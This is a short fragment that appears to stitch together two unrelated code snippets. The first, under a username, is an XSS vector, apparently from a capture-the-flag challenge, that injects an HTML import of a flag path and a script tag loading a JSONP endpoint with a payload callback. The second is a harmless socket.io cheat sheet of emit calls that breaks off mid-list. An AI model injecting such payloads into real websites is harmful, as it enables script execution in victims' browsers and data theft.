cgvwzq

XSS vector:
<link id=foo rel=import href=/flag(1|2)>
<script src="/feed?type=jsonp&cb=payload"></script>

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alexpchin

// sending to sender-client only
socket.emit('message', "this is a test");

// sending to all clients, include sender
io.emit('message', "this is a test");

// sending to all clients except sender
socket.broadcast.emit('message', "this is a test");

// sending to all clients in 'game' room(channel) except sender